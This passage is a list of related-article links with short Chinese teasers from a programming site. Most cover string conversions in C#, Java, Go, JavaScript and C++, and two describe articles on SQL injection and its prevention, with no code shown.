    下面小编就为大家带来一篇java中String类型变量的赋值问题介绍。小编觉得挺不错的。现在分享给大家,给大家一个参考。...2016-03-28
  • C# 中string.split用法详解

    本文给大家分享了C# 中string.split用法的相关知识,非常不错,具有参考借鉴价值,需要的朋友参考下吧...2020-06-25
  • PHP中自带函数过滤sql注入代码分析

    SQL注入攻击是黑客攻击网站最常用的手段。如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击。SQL注入攻击通常通过给站点数据库提交不良的数据或...2016-11-25
  • c#中的常用ToString()方法总结

    很多类都重写了ToString方法, 导致很多类的tostring到底执行了什么,有哪些参数,都不清楚...2020-06-25
  • Go中string与[]byte高效互转的方法实例

    string与[]byte经常需要互相转化,普通转化会发生底层数据的复制,下面这篇文章主要给大家介绍了关于Go中string与[]byte高效互转的相关资料,文中通过示例代码介绍的非常详细,需要的朋友可以参考下...2021-09-20
  • 在C#的类或结构中重写ToString方法的用法简介

    这篇文章主要介绍了在C#的类或结构中重写ToString方法的用法简介,需要的朋友可以参考下...2020-06-25
  • Javascript实现Array和String互转换的方法

    这篇文章主要介绍了Javascript实现Array和String互转换的方法,涉及JavaScript中toString方法与split方法的使用技巧,需要的朋友可以参考下...2015-12-24
  • C#中enum和string的相互转换

    这篇文章主要介绍了C#中enum和string的相互转换的相关资料,需要的朋友可以参考下...2020-06-25
  • C#中Byte[]和String之间转换的方法

    很多朋友不清楚如何在Byte[]和String之间进行转换?下面小编给大家带来了byte与string转换的方法,感兴趣的朋友参考下吧...2020-06-25
  • C++ 字符串string和整数int的互相转化操作

    这篇文章主要介绍了C++ 字符串string和整数int的互相转化操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-12-10
  • C# 字符串string和内存流MemoryStream及比特数组byte[]之间相互转换

    本文主要介绍字符串string和内存流MemoryStream及比特数组byte[]之间相互转换的方法,需要的小伙伴可以参考一下。...2020-06-25
  • C++ string替换指定字符实例代码

    这篇文章主要给大家介绍了关于C++ string替换指定字符的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用C++具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧...2020-04-25
  • sql安全之SQL注入漏洞拖库原理解析

    本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载哦,有需要的同这参考一下本文章。 在数据库中建立一张表: 代码...2016-11-25